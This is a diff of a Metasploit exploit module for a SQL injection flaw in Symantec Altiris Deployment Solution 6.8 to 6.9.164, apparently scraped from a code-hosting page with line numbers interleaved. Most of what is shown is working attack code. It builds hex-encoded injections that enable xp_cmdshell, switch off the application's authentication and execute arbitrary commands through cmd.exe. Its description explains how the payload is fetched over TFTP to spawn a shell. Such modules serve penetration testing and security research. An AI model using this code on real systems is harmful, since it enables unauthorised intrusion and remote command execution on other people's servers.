@@ -14,14 +14,15 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
17
- 'Name' => 'Symantec Altiris DS SQLi 6.8 - 6.9.164 ' ,
17
+ 'Name' => 'Symantec Altiris DS SQL Injection ' ,
18
18
'Description' => %q{
19
- This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution. The
20
- vulnerability exists on axengine.exe which fails to adequately sanitize numeric input
21
- fields in "UpdateComputer" notification Requests. In order to spawn a shell, several SQL
22
- injections are required in close succession, first to enable xp_cmdshell, then retrieve
23
- the payload via TFTP and finally execute it. The module also has the capability to disable
24
- or enable local application authentication.
19
+ This module exploits a SQL injection flaw in Symantec Altiris Deployment Solution 6.8
20
+ to 6.9.164. The vulnerability exists on axengine.exe which fails to adequately sanitize
21
+ numeric input fields in "UpdateComputer" notification Requests. In order to spawn a shell,
22
+ several SQL injections are required in close succession, first to enable xp_cmdshell, then
23
+ retrieve the payload via TFTP and finally execute it. The module also has the capability
24
+ to disable or enable local application authentication. In order to work the target system
25
+ must have a tftp client available.
25
26
} ,
26
27
'Author' =>
27
28
[
@@ -67,16 +68,24 @@ def initialize(info = {})
67
68
def execute_command ( cmd , opts = { } )
68
69
inject = [ ]
69
70
70
- if @xp_shell_enable == true
71
+ if @xp_shell_enable
71
72
inject +=[
72
73
"#{ Rex ::Text . to_hex ( "sp_configure \" show advanced options\" , 1; reconfigure" , '' ) } " ,
73
74
"#{ Rex ::Text . to_hex ( "sp_configure \" xp_cmdshell\" , 1; reconfigure" , '' ) } " ,
74
75
]
75
76
@xp_shell_enable = false
76
77
end
77
78
78
- inject +=[ "#{ Rex ::Text . to_hex ( "wc_upd_disable_security" , '' ) } " ] if datastore [ 'DISABLE_SECURITY' ] == true
79
- inject +=[ "#{ Rex ::Text . to_hex ( "wc_upd_enable_security" , '' ) } " ] if datastore [ 'ENABLE_SECURITY' ] == true
79
+ if @wc_disable_security
80
+ inject +=[ "#{ Rex ::Text . to_hex ( "wc_upd_disable_security" , '' ) } " ]
81
+ @wc_disable_security = false
82
+ end
83
+
84
+ if @wc_enable_security
85
+ inject +=[ "#{ Rex ::Text . to_hex ( "wc_upd_enable_security" , '' ) } " ]
86
+ @wc_enable_security = false
87
+ end
88
+
80
89
inject +=[ "#{ Rex ::Text . to_hex ( "master.dbo.xp_cmdshell \' cd %TEMP% && cmd.exe /c #{ cmd } \' " , '' ) } " ] if cmd != nil
81
90
82
91
inject . each do |sqli |
@@ -145,7 +154,10 @@ def check
145
154
end
146
155
147
156
def exploit
157
+ @wc_disable_security = datastore [ 'DISABLE_SECURITY' ]
158
+ @wc_enable_security = datastore [ 'ENABLE_SECURITY' ]
148
159
@xp_shell_enable = datastore [ 'XP_CMDSHELL' ]
160
+
149
161
# CmdStagerVBS was tested here as well, however delivery took roughly
150
162
# 30 minutes and required sending almost 350 notification messages.
151
163
# size constraint requirement for SQLi is: linemax => 393
0 commit comments